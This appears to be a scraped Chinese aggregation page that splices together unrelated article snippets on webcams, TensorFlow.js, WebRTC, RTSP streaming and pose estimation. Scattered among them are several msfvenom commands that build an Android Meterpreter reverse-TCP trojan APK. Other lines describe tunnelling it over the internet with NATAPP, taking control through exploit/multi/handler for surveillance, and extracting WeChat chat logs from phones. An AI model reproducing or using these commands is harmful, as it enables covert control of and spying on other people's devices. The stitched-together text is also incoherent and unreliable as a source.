今天,一个名为 Real-Time-Person-Removal(实时人物去除)项目在 GitHub 上火了,登上近日 GitHub Trending 第一,目前已经获得 1.8k star。
上一篇文章:编译WebAssembly版本的FFmpeg(ffmpeg.wasm):(4)ffmpeg.wasm v0.2 - 添加Libx264
在前面的章节,我们讨论了各种JavaScript概念和运行在浏览器上的各种深度学习框架。在本章中,我们将所有的知识付诸于实践,证明该技术的潜力。
TensorFlow.js 是谷歌在 2018 TensorFlow 开发者峰会推出的开源库,它可以使用 Java 和灵活且直观的 API 在浏览器中定义、训练和运行机器学习模型。另外,TensorFlow.js 可以导入离线训练的 TensorFlow 和 Keras 模型进行预测,并可以对 WebGL 实现无缝支持。
使用WebRTC构建获取视频、从 webcam获取快照,端与端共享应用。通过这种方法,我们来学习如何使用核心 WebRTC API ,并通过 Node.js建立一个消息服务器。
在你的浏览器中打开 index.html,你将看到像下面这样子(当然是你的 webcam 中样子):
TensorFlow 的 JS 版本终于出啦,deeplearn.js 正式收编至 TensorFlow 项目,并改名为 TensorFlow.js : 采用 WebGL 加速的基于浏览器的 JS 机器学习库。 摘要: 本文涉及 TensorFlow 基本概念的理解,迁移学习技术的实践应用,全文从技术聊到产品的玩法,设计师/产品经理只有懂得技术的新特性,才能为产品融入新的玩法。设计师也应该关注新技术带来的新的交互方式的变化,研究怎么样的交互方式才适合基于浏览器的深度学习应用。 阅读本文需要有 tensorf
TensorFlow 的 JS 版本终于出啦,deeplearn.js 正式收编至 TensorFlow 项目,并改名为 TensorFlow.js :
迁移学习是将预训练模型与自定义训练数据相结合的能力。 这意味着你可以利用模型的功能并添加自己的样本,而无需从头开始创建所有内容。
选自Medium 作者:Mike Shi 机器之心编译 参与:Pedro、刘晓坤 Tensorflow.js 是一个能在你的浏览器里运行的全新深度学习库。本文将会介绍从原生 Tiny YOLO Darknet 模型到 Keras 的转换,再到 Tensorflow.js 的转换,如何利用其作一些预测,在编写 Tensorflow.js 遇到的一些问题,以及介绍使用联网摄像头/图像轻松地进行预测检测。 项目地址:https://github.com/ModelDepot/tfjs-yolo-tiny YOL
链接:https://distill.pub/2018/differentiable-parameterizations/#section-aligned-interpolation
将面已经学习了如何使用RTCDataChannel 交换广本数据。 这步将用它来共享整个文件。在这个例子中通过 getUserMedia()捕获照片。
上个周末,面向JavaScript开发者的TensorFlow.js在TF开发者峰会上发布。
NDI是目前强大的IP化视频传输技术,它不仅被广泛运用在广电行业,医疗示教,网络直播,更是被各类视频会议系统、直播系统接受吸纳,我们只需要通过一个NDI Webcam Input工具,就可将NDI视频源指派为任何支持网络摄像头的程序输入,轻松摆脱传统SDI/HDMI线缆。
前不久有伙伴在Q群中询问用matlab调用网络摄像头的事,其实咱很久之前就分享过,由于看的人太少了就给删了。今天重新整理分享出来,本文的主角就是IP Webcam,通过它就可以轻松将智能手机转变成网络摄像头,这也是为啥将标题取为“matlab让我的旧手机起死回生”的原因。如果手中有闲置旧手机,安上IP Webcam,打开手机无线热点(无需使用数据流量和WiFi就能用,仅打开热点),旧手机里面变成一个全能监控王。接下来就一起来看看怎么操作的吧!
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 R > /root/桌面/shell.apk
迁移学习是将预训练模型与自定义训练数据相结合的能力。这意味着你可以利用模型的功能并添加自己的样本,而无需从头开始创建所有内容。
1.安装 MMPose。如果你已经是 MMPose 的用户,只需要拉取最新的 master 分支到本地即可。
这几天正值北京冬奥会,吉祥物冰墩墩成为了家喻户晓的“明星”。赛场上、领奖台上、热搜榜上都少不了它的身影。看着电视中的冰墩墩,家里的猫崽蛋黄不禁陷入沉思:这就是传说中的大明星么,也太拉风了,慕了慕了……
在昨天的推送《一文带你众览Google I/O 2019上的人工智能主题演讲》中,回顾了Google I/0 2019大会上的TensorFlow专题演讲,不知道朋友有没有注意到在TensorFlow.js介绍部分,重点提到了TensorFlow.js开始支持微信小程序。今天我将这部分的视频截取出来,请大家观看:
上个学期用 JavaScript 写了一些好玩的网站,但开始用 React 或其他框架的时候,总觉得有点不踏实,应该要对原生的 JavaScript(或称 Vanilla JS【http://vanilla-js.com/】)下更多功夫才行。而也刚好看到 JS30 这个挑战,就决定回过头来练习用纯粹的 JS 写网页,顺便学习别人的代码。
通过Github查找作者TommyZihao,在其aidlux_tutorial工程下找到“用手机摄像头玩转OpenCV”这个项目,并以压缩包的形式下载下来。
从其 model zoo 选择一个感兴趣的模型进行推断。这里以 COCO R50-FPN 3x 训练的各类模型进行演示。
进入https://natapp.cn/ 注册并创建tcp隧道 复制authtoken 下载客户端
TensorFlow.js是一个基于deeplearn.js构建的强大而灵活的Javascript机器学习库,它可直接在浏览器上创建深度学习模块。使用它可以在浏览器上创建CNN(卷积神经网络)、RNN(循环神经网络)等等,且可以使用终端的GPU处理能力训练这些模型。接下来我们将学习如何建立一个简单的“可学习机器”——基于 TensorFlow.js 的迁移学习图像分类器。
https://sites.google.com/view/actionablerepresentations
本文中,主要是关于OpenCV格式图片(或视频帧)和ROS数据格式图片(或视频帧)之间的转换。或者直白点书,通过ROS发送图片(Image)数据类型的消息(message)。
configs/apis/pose_estimator.cascade_rcnn+hrnet.yaml:
Kali linux的安卓木马一般只能在内网操作,要想在监控互联网的安卓手机,必须要使用内网穿透,工具有很多,我使用的是NATAPP。思路如下:
RTSP (Real Time Streaming Protocol),实时流协议,是一种应用层协议,专为流媒体使用。本文将介绍 GStreamer, VLC, FFmpeg 这几个工具,如何发送、接收 RTSP 流。
本文将介绍 RTSP H264/HEVC 裸流如何于网页前端播放。涉及 WebSocket 代理发送流数据, Wasm 前端解码等。
本文将介绍 FFmpeg 如何播放 RTSP/Webcam/File 流。流程如下:
如果有个眼球追踪AI,加上人脸识别,或许就能在被老板盯上的瞬间,进入奋力工作模式。
安卓木马后门:msfvenom -p Android/Meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
RTCPeerConnection 是调用WebRTC传输音视频和交换数据的API。这个例子是在同一个页面中两个RTCPeerConnection对象之间建立连接。没有什么实际价值,但却能很好的证明RTCPeerConnection是如何工作的。
然后输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk
上面的包源已经发生变化 可前往https://fivecc.coding.net/public/mjpg-streamer/mjpg-streamer/git 查看,
选择网关 add to target 1 选择目标 add to target 2
如果你现在正在阅读这篇文章,那么你可能已经阅读了我的介绍文章(JS使用者福音:在浏览器中运行人脸识别)或者之前使用过face-api.js。如果你还没有听说过face-api.js,我建议你先阅读介绍文章再回来阅读本文。
这篇教程旨在使用一些有趣的例子让你熟悉OpenBR背后的思想、对象以及动机。注意需要摄像头的支持。
数月前的某个夜晚,我躺在床上时,一个念头闪过我的脑海——「如果语音是计算接口的未来,那么那些听不见或看不见的人该怎么办?」我不知道究竟是什么触发了这个想法。我自己能听、能说,周围也没有聋哑人,而且我也没有语音助手。也许是因为无数语音助理方面的文章突然出现,也许是因为各大公司争相让你选择它们的语音助手产品,或许只是因为经常在朋友的桌上看到这些设备。由于这个问题无法从记忆中消失,我知道我需要仔细考虑它。
操作过程概况:利用msf生成一个后台木马,使用exploit/multi/handler模块,通过对方打开的形式获取权限,可以进入后渗透对目标进行监听等操作。
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。 “如何获取Android、iPhone手机上的微信聊天记录? ” 0×00 条件: 安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱,安装OpenSSH插件 0×01 安卓: 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知
你用旧的Android手机或平板电脑做什么?该问题通常会提示三个陈旧的答案。您可以将它们换来新的购买。或者您可以在eBay上转售它们。不过,可能您只是将它们装在抽屉中作为紧急备份。
对于 MMPose 我是慕名已久,一直以来跟不少做 Pose 的大佬交流时也常常提起,说同样的模型用 MMPose 跑出来点数会高不少,然而 MM 系列的封装逻辑和学习门槛让我一再搁置,终于最近才下定决心要把它啃下来。
Uppy 是一个流行的模块化文件上传组件,可无缝集成任何框架。 授权协议:MIT 开发语言:JavaScript HTML/CSS 操作系统:跨平台 Uppy 是一个流行的模块化文件上传组件,可无缝集成任何框架。它可从本地磁盘、Google 云端硬盘、Dropbox、Instagram、远程 URL、摄像机和其他位置提取文件,然后将其上传到最终目的地。它非常快速并且易于使用。 从本地磁盘,Google云端硬盘,Dropbox,Instagram获取文件,或使用相机捕捉和记录自拍; 用一个漂亮的界面预览和编辑
笔者之前做一个实时监控应用的时候,曾搜索过一些将 iPhone 的摄像头拍摄的画面实时传输到浏览器的方案,一个都没有。
领取专属 10元无门槛券
手把手带您无忧上云